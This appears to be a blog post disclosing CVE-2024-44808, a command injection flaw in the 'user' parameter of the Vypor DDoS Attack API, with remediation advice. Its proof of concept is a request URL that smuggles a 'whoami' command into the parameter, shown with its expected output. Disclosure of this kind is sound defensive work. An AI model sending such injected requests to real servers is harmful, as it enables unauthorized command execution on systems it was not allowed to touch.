CVE-2024–44808: Remote Command Execution in Vypor DDoS Attack API
Discovered by Jacob Masse
Background
In my ongoing efforts to report vulnerabilities in legacy applications still active in production environments, I’ve uncovered a severe security flaw in the Vypor Attack API v.1.0. This flaw allows for remote code execution (RCE) and has been assigned CVE-2024–44808. Despite attempts to contact the vendor, Vypor, there has been no response.
Introduction
This blog post outlines the discovery and implications of CVE-2024–44808. As many organizations continue to use this legacy code, understanding and mitigating this vulnerability is critical to preventing potential exploits that could lead to unauthorized access and control over affected systems.
Detailed Description of Vulnerability
CVE-2024–44808 exploits a flaw in the user GET parameter handling by Vypor’s Attack API due to a lack of proper parameter sanitization. By sending a specially crafted request to this parameter, attackers can execute arbitrary commands on the server, gaining the same privileges as the web application.
Vulnerability Details:
- Type: Remote Code Execution (RCE)
- Affected Component: API endpoint handling the ‘user’ GET parameter
- Attack Type: Remote
- Impact: Allows code execution on the server
Proof of Concept
The following proof of concept (POC) demonstrates the vulnerability:
- POC URL:
http://HOST/Vypors-Attack-API-System/api.php?method=stop&user=foo%22;whoami;%22 - Expected Response:
Info Set www-data Stopped- In this scenario, “www-data” indicates the output of the executed command, proving the server’s vulnerability to RCE.
Possible Remediation
To address this vulnerability, I recommend the following steps:
- Input Validation: Implement strict validation on all GET parameters to ensure only expected inputs are processed.
- Security Patches: Since the vendor has not provided updates, users must apply patches or restrict access to vulnerable API endpoints.
Conclusion
Organizations using Vypor’s Attack API must take immediate steps to mitigate this vulnerability and protect their systems from potential attacks. Failure to act on this critical vulnerability could expose the organization to compromise.
Reach Out
Got any questions? I’d be happy to talk! 👋
- Email: contactjacobmasse@gmail.com
Further Reading & Resources
For more information on handling similar vulnerabilities and securing legacy systems, refer to the following resources:
